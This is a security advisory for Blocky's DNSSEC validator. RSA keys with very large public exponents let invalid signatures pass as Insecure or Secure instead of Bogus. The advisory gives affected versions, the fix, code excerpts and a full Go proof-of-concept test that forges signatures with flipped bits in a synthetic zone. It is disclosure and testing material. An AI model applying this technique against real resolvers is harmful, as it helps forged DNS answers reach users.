DNSSEC: a failed signature by a large-exponent RSA key gives Insecure instead of Bogus
Description
In affected RSA key configurations, Blocky could treat a failed signature check as evidence that data was unsigned. It could then serve data that should have been rejected. The configurations are zones with an RSA key whose public exponent is above 2^31-1, the largest that Go’s crypto/rsa loads: Blocky served without the AD flag a record set whose only signature names such a key, even if that signature was invalid, and since v0.37.0 answers SERVFAIL instead. Additional issues in the pre-release RSA fallback were corrected before v0.37.0.
Impact
Exploiting this needs someone who can change the responses between Blocky and its upstream resolver, or a malicious upstream resolver, and a zone that publishes such a key. For case 1 of the Details it can be any of the zone’s keys; for case 2 the DS records of the zone must name only such keys, all of them in its DNSKEY record set. Forged answers for that zone then reach clients as unsigned data. Case 3 matters only for a zone that itself publishes such a key without the Zone Key flag: data signed with it was marked authenticated.
Affected deployments
This issue concerns deployments using Blocky’s built-in DNSSEC validator (dnssec.validate: true). Affected releases: v0.28.2 through v0.36.0. For each case of the Details:
| Case | Affected |
|---|---|
| 1, record set | v0.28.2 through v0.36.0, for every RSA algorithm; development builds since #2386, for RSA/SHA-1 only |
| 2, zone | development builds since #2386 only, no release |
| 3, non-zone key | development builds since #2386 only, no release |
Development builds since #2386 are those from commit 5e98c7a of 16 November 2026 to commit 8088f1a, the last one before the fix. A release cannot verify with such a key at all: from v0.28.2 it takes the zone of case 2 and the record set of case 3 for unsigned whether the signature is valid or not, which for the record set is case 1.
Remediation
Upgrade to Blocky v0.37.0 or later. The fix distinguishes unsupported delegation algorithms from failed verification under a supported algorithm and enforces DNSKEY eligibility checks. It is commit 1c4c01b.
Details
Blocky’s validator rates a response Secure (served with the AD flag), Insecure (served without it, like data of an unsigned zone) or Bogus (refused with SERVFAIL).
A zone may be treated as unsigned when its DS records name only algorithms that the validator does not support (RFC 4035 §5.2); Blocky treats RSA keys with an exponent above 2^31-1, which it cannot verify with, in the same way. Inside a zone that validated, a record set none of whose signatures verifies is Bogus (§5.5). Unbound 1.26.2 and BIND 9.20.31 both fail such a record set.
- Record set. When a signature named a key that Blocky could not verify with,
verifyWithSignerKeysreturnederrUnsupportedRSAExponentwithout checking the signature, anddetermineFinalValidationResultmade the record set Insecure if no other signature of it had failed:
``go if hasUnsupportedSignature && !hasOtherFailure && !hasIndeterminateChain { // ... return ValidationResultInsecure } ``
- Zone. #2386 made RSA/SHA-256 and RSA/SHA-512 keys with such exponents verifiable. When the signature of a zone’s DNSKEY records failed,
onlyUnsupportedKSKsstill decided with Go’s limit whether the zone is Insecure, andhasUnsupportedRSAExponentis true for every key that the new verifier handles:
``go return !slices.ContainsFunc(ksks, func(key *dns.DNSKEY) bool { return !hasUnsupportedRSAExponent(key) }) ``
A zone whose DS records name only such keys therefore stayed Insecure when that signature failed.
- Non-zone key. A DNSKEY without the Zone Key flag must not be used to verify signatures (RFC 4034 §2.1.1). miekg/dns, the library that checks signatures for Blocky, refuses such a key, but
verifyRRSIGretried any failed verification by a large-exponent key withverifyRSAWithBigExponent, which did not check the flag. Data signed with such a key came out Secure.
Proof of concept
The test shows the three cases, each with a control, in a synthetic zone signed.example. below the trust anchor example., with RSA keys of exponent 2^32+1.
To reproduce, save the test file below as resolver/dnssec/ghsa_g35c_mff8_4w2w_poc_test.go in a checkout of the version to test and run:
go test -run TestGHSAg35cUnverifiedSignatures -v ./resolver/dnssec/Only development code has all three cases. On commit 8088f1a, the last one before the fix, it exits with status 1. Its output follows, condensed to one line per test case; the number in brackets is the case in the Details, and a line without one is a control:
PASS control: DNSKEY RRSIG by the 2^32+1 KSK verifies
[2] FAIL DNSKEY RRSIG by the 2^32+1 KSK does not verify
got Insecure, want Bogus
PASS control: A RRSIG by the 65537 KSK
[1] FAIL only A RRSIG by the RSA/SHA-1 2^32+1 key, does not verify
got Insecure, want Bogus
PASS control: A RRSIG by an RSA/SHA-256 2^32+1 key with the Zone Key flag
[3] FAIL A RRSIG by the same key with the Zone Key flag clear
got Secure, want BogusOn v0.36.0 it exits with status 1 as well, and the line of case 1 is the same. The other four lines with a key of exponent 2^32+1, two controls among them, all print got Insecure, for the reason given under Affected deployments.
On v0.37.0 it exits with status 0: all 6 test cases pass.
<details> <summary><code>ghsa_g35c_mff8_4w2w_poc_test.go</code></summary>
package dnssec
// GHSA-g35c-mff8-4w2w: signatures by RSA keys with exponents above 2^31-1.
//
// RFC 4035 §5.5: if none of the RRSIGs of an RRset validates, the response is Bogus. A zone may
// be treated as Insecure only when the validator has no supported path to it (RFC 4035 §5.2),
// which does not make a signature that fails, or that is never checked, acceptable.
//
// example. is a trust anchor and signed.example. a secure delegation (a signed DS RRset).
// - DNSKEY RRset: the DS RRset names only an RSA/SHA-256 KSK with exponent 2^32+1, a key blocky
// verifies with math/big. A DNSKEY RRSIG by that key that does not verify makes the zone Bogus.
// - A RRset: the zone is signed by an RSA/SHA-256 KSK with exponent 65537, and its DNSKEY RRset
// also holds an RSA/SHA-1 key with exponent 2^32+1, which blocky cannot verify. An A RRset
// whose only RRSIG names that key and does not verify is Bogus.
// - Zone Key flag: RFC 4034 §2.1.1: a DNSKEY RR with the Zone Key flag (bit 7) clear must not be
// used to verify RRSIGs. The DNSKEY RRset signed by the 65537 KSK also holds an RSA/SHA-256
// key with exponent 2^32+1. With flags 256, the RRSIG that key makes over an A RRset verifies.
// With flags 0, the RRSIG of the same key verifies nothing: the A RRset is Bogus.
//
// go test -run TestGHSAg35cUnverifiedSignatures -v ./resolver/dnssec/
import (
"bytes"
"context"
"crypto"
"crypto/rand"
"encoding/base64"
"io"
"math/big"
"net"
"testing"
"time"
"github.com/0xERR0R/blocky/log"
"github.com/0xERR0R/blocky/model"
"github.com/miekg/dns"
)
func TestGHSAg35cUnverifiedSignatures(t *testing.T) {
e65537, e2p32p1 := big.NewInt(65537), new(big.Int).SetUint64(1<<32+1)
parent := newPocG35cKey(t, "example.", 257, dns.RSASHA256, e65537)
bigKSK := newPocG35cKey(t, "signed.example.", 257, dns.RSASHA256, e2p32p1)
ksk := newPocG35cKey(t, "signed.example.", 257, dns.RSASHA256, e65537)
sha1Key := newPocG35cKey(t, "signed.example.", 256, dns.RSASHA1, e2p32p1)
zoneKey := newPocG35cKey(t, "signed.example.", 256, dns.RSASHA256, e2p32p1)
noZoneKey := pocG35cKey{dns.Copy(zoneKey.key).(*dns.DNSKEY), zoneKey.priv}
noZoneKey.key.Flags = 0 // the same key, Zone Key flag clear
anchors, err := NewTrustAnchorStore([]string{parent.key.String()})
if err != nil {
t.Fatal(err)
}
a := &dns.A{
Hdr: dns.RR_Header{Name: "www.signed.example.", Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 300},
A: net.IPv4(192, 0, 2, 1),
}
question := dns.Question{Name: a.Hdr.Name, Qtype: dns.TypeA, Qclass: dns.ClassINET}
bigKSKSig, bigKSKAnswer := bigKSK.sign(t, bigKSK.key), []dns.RR{a, bigKSK.sign(t, a)}
kskKeys := []dns.RR{ksk.key, sha1Key.key, ksk.sign(t, ksk.key, sha1Key.key)}
for _, c := range []struct {
name string
dsKey *dns.DNSKEY
dnskey []dns.RR // the DNSKEY RRset of signed.example. and its RRSIG
answer []dns.RR
want ValidationResult
}{
{
"control: DNSKEY RRSIG by the 2^32+1 KSK verifies", bigKSK.key,
[]dns.RR{bigKSK.key, bigKSKSig},
bigKSKAnswer, ValidationResultSecure,
},
{
"DNSKEY RRSIG by the 2^32+1 KSK does not verify", bigKSK.key,
[]dns.RR{bigKSK.key, pocG35cFlipBit(t, bigKSKSig)},
bigKSKAnswer, ValidationResultBogus,
},
{"control: A RRSIG by the 65537 KSK", ksk.key, kskKeys, []dns.RR{a, ksk.sign(t, a)}, ValidationResultSecure},
{
"only A RRSIG by the RSA/SHA-1 2^32+1 key, does not verify", ksk.key, kskKeys,
[]dns.RR{a, pocG35cFlipBit(t, sha1Key.sign(t, a))},
ValidationResultBogus,
},
{
"control: A RRSIG by an RSA/SHA-256 2^32+1 key with the Zone Key flag", ksk.key,
[]dns.RR{ksk.key, zoneKey.key, ksk.sign(t, ksk.key, zoneKey.key)},
[]dns.RR{a, zoneKey.sign(t, a)},
ValidationResultSecure,
},
{
"A RRSIG by the same key with the Zone Key flag clear", ksk.key,
[]dns.RR{ksk.key, noZoneKey.key, ksk.sign(t, ksk.key, noZoneKey.key)},
[]dns.RR{a, noZoneKey.sign(t, a)},
ValidationResultBogus,
},
} {
t.Run(c.name, func(t *testing.T) {
ds := c.dsKey.ToDS(dns.SHA256)
upstream := map[string][]dns.RR{
"example. DNSKEY": {parent.key, parent.sign(t, parent.key)},
"signed.example. DS": {ds, parent.sign(t, ds)},
"signed.example. DNSKEY": c.dnskey,
}
logger, _ := log.NewMockEntry()
v := NewValidator(t.Context(), anchors, logger, &mockResolver{
ResolveFn: func(_ context.Context, req *model.Request) (*model.Response, error) {
q := req.Req.Question[0]
return &model.Response{Res: &dns.Msg{Answer: upstream[q.Name+" "+dns.TypeToString[q.Qtype]]}}, nil
},
}, 1, 10, 150, 30, 3600)
if got := v.ValidateResponse(t.Context(), &dns.Msg{Answer: c.answer}, question); got != c.want {
t.Errorf("got %s, want %s", got, c.want)
}
})
}
}
type pocG35cKey struct {
key *dns.DNSKEY
priv crypto.Signer
}
// newPocG35cKey returns an RSA DNSKEY (RFC 3110) with a 2048-bit modulus and public exponent e.
// crypto/rsa refuses exponents above 2^31-1, so the key is made, and signs, with math/big.
func newPocG35cKey(t *testing.T, owner string, flags uint16, alg uint8, e *big.Int) pocG35cKey {
t.Helper()
for {
p, err := rand.Prime(rand.Reader, 1024)
if err != nil {
t.Fatal(err)
}
q, err := rand.Prime(rand.Reader, 1024)
if err != nil {
t.Fatal(err)
}
one, n := big.NewInt(1), new(big.Int).Mul(p, q)
d := new(big.Int).ModInverse(e, new(big.Int).Mul(new(big.Int).Sub(p, one), new(big.Int).Sub(q, one)))
pub := append(append([]byte{byte(len(e.Bytes()))}, e.Bytes()...), n.Bytes()...)
key := &dns.DNSKEY{
Hdr: dns.RR_Header{Name: owner, Rrtype: dns.TypeDNSKEY, Class: dns.ClassINET, Ttl: 3600},
Flags: flags, Protocol: 3, Algorithm: alg, PublicKey: base64.StdEncoding.EncodeToString(pub),
}
if d != nil && key.KeyTag() != 0 { // e must be invertible; RRSIG.Sign refuses key tag 0
return pocG35cKey{key, pocG35cSigner{n, d}}
}
}
}
// sign returns the RRSIG over rrset made by k with RRSIG.Sign.
func (k pocG35cKey) sign(t *testing.T, rrset ...dns.RR) *dns.RRSIG {
t.Helper()
sig := &dns.RRSIG{
Algorithm: k.key.Algorithm, KeyTag: k.key.KeyTag(), SignerName: k.key.Hdr.Name,
Inception: uint32(time.Now().Add(-time.Hour).Unix()), Expiration: uint32(time.Now().Add(time.Hour).Unix()),
}
if err := sig.Sign(k.priv, rrset); err != nil {
t.Fatal(err)
}
return sig
}
// pocG35cSigner makes RSASSA-PKCS1-v1_5 signatures (RFC 8017 §8.2.1) with math/big.
type pocG35cSigner struct{ n, d *big.Int }
func (s pocG35cSigner) Public() crypto.PublicKey { return nil } // RRSIG.Sign does not use it
func (s pocG35cSigner) Sign(_ io.Reader, digest []byte, opts crypto.SignerOpts) ([]byte, error) {
digestInfo := map[crypto.Hash]string{ // RFC 8017 §9.2 note 1
crypto.SHA1: "\x30\x21\x30\x09\x06\x05\x2b\x0e\x03\x02\x1a\x05\x00\x04\x14",
crypto.SHA256: "\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20",
}[opts.HashFunc()] + string(digest)
k := (s.n.BitLen() + 7) / 8
em := bytes.Repeat([]byte{0xff}, k) // EM = 0x00 || 0x01 || PS (0xff octets) || 0x00 || DigestInfo
em[0], em[1], em[k-len(digestInfo)-1] = 0, 1, 0
copy(em[k-len(digestInfo):], digestInfo)
return new(big.Int).Exp(new(big.Int).SetBytes(em), s.d, s.n).FillBytes(make([]byte, k)), nil
}
// pocG35cFlipBit returns a copy of sig with the last bit of its signature flipped.
func pocG35cFlipBit(t *testing.T, sig *dns.RRSIG) *dns.RRSIG {
t.Helper()
raw, err := base64.StdEncoding.DecodeString(sig.Signature)
if err != nil {
t.Fatal(err)
}
raw[len(raw)-1] ^= 1
flipped := dns.Copy(sig).(*dns.RRSIG)
flipped.Signature = base64.StdEncoding.EncodeToString(raw)
return flipped
}</details>
References
- RFC 4035 §5.2 and §5.5; RFC 4034 §2.1.1
- Fix: Blocky v0.37.0, commit
1c4c01b - Related advisories from the same review:
- GHSA-rfc7-q64c-hj2f: DNSSEC: DS and DNSKEY lookups that fail, are unsigned or are for another zone are trusted
- GHSA-8mfq-h5hh-mqf2: DNSSEC: a response's status doesn't account for all of its parts, its question or its rcode
- GHSA-mv8x-2h8p-g3wh: DNSSEC: incomplete denial-of-existence proofs (wildcards, NSEC NXDOMAIN, CNAME bit, name order)
- GHSA-6fgw-qmpq-vwxp: DNSSEC: NSEC and NSEC3 denials are accepted from zones not authoritative for the queried name
- GHSA-583r-m4vv-q43p: DNSSEC: NSEC3 Opt-Out proof can downgrade a signed zone to Insecure
- GHSA-vgm3-vqcv-4hv6: DNSSEC: RSA keys with very large exponents make validation expensive
Credits
Reported by @kevinpark1217.